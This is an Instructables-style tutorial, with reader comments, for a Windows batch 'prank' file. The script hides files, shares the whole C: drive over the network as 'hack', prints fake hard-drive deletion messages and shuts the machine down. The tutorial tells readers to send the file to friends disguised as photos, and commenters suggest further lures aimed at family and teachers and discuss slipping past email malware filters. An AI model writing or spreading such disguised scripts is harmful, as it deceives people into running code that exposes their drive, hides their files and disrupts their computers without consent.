Introduction: Freaky Computer Prank

About: I'm just here on Instructables to share infos.

In this Instructables, we will make batch file that will shutdown your computer and send a few messages about the matrix, rather bland and could be worked on a little bit more. Someone could tweak it a little and perhaps, change the DOS text to green.

Step 1: Open Notepad

First of all in making Vb Script is that you open Notepad. To open it:

1) Click on the "Start" button.

2) Point to "All Programs".

3) Point to "Accesories".

4) Find and click "Notepad".

Step 2: Encoding

Copy the code below:

@ Echo off
Title Matrix
msg * The matrix has you, you can not escape
rundll32.exe disable mouse
Attrib +h C:*.*
echo deleting harddrive
echo 1001101010101011111111101010101
echo 010101010101010101010101010111
assoc
assoc
Attrib C:Documents and settings*.*
net share hack=C:
shutdown -s -c 60

To copy it: first highlight the codes then press CTRL (Hold until C has not yet pressed) then C.

After copying the codes, paste it on the Notepad.

Step 3: Save the Batch

To save the codes you pasted:

1) On the "Menu" bar, go to "File".

2) Then choose "Save As...".

Save As dialog box will appear. Simply type computer_robot.bat on the File name textbox.

Step 4: Test the Batch

Run the batch file to test if it really works. If worked then your computer will shutdown. And do something strange.

Ahhhhhhhhhhhhhhhhhhhhhhhhh!

Step 5: Spread the Batch

Send the batch to your friends. Say that the file has many photos of pretty girls to force them to open. You may rename the batch file computer_robot.bat into prettypark.bat

If they opened it. IT'S THEIR FREAKY DAY!

    You need to go to folder properties and select show hidden files and then you will see all your files

    This batch deleted icons on my desktop... What do I do???!!! HELP!

    It changed it so they are hiding!

    EEK! NO! Don't do that! You want to keep all your system files hidden, so that uneducated people don't think its garbage and delete it! The whole reason microsoft made system files hidden is so that there wouldn't be configuration files everywhere! Or people might think its useless, and when they delete it, I screws their computer. And your code won't even fix his problem. Active desktop is only found on windows 9x, and when your icons disappear, its simply hiding them, not making them hidden!

    (And you also don't need the exit command at the end of a batch file.)

    The exit command will make any batch file much more stable, thank you.

    The exit Command does not make it stable but it does close the windows/program if it was waking from sleep BUT it is shutting down so shutdown.exe (that controls/tells processes and the OS what todo and what todo) will close the program! So no need for that line of code!

    I've been working with batch files from when I was about 10, and I have never once used exit at the end of a file. If there is no exit at the end of the file, the command prompt temporarily places one there, so whether or not you have exit, it produces the same effect, with absolutely no stability difference. Really, it's just a waste of 4 letters.

    Your right, it will make it more stable, but it is not necessary!

    the Hidden part of his code will not work! Using attrib +h C:*.* will not work

    1) +h will make all File Hidden, It will not Show them

    2) you need C:\*.* the \ has to be there other wise it is confised

    Do you have a better batch script that will work better, shadow ops? (Not that we are offended by your comment, just asking . . .)

    is it possible to disable the deleting prossess IN the batch itself?

    In the Code it is not deleting any files

    When you see 'echo' that tells the UI or user to say what comes after it

    for example: echo Hello!

    Results: Hello!

    but in the code it does say to disable the mouse: rundll32.exe disable mouse But I do not think that will work that part of the code... But this code seems to be geared for apearence

    how do you send it to people?

     Never mind... On mine, it made some of my icons hidden... like hidden files

    whats all this stuff about deleting all your stuff?! is this some kind of joke? cos im going to use it on my mates only if it dosnt delete there stuff though

    or, if you are sending it to family, you can say they are pictures of the family on vacation!

    or send it to a school teacher, and say its the assignment you wanted them to see

     Yeah. They totally wont notice that outlook doesnt allow it to be opened because of 'malicious software.'
    I actually dont know if you teachers use microsoft outlook, but mine do. So its not like i can do that.
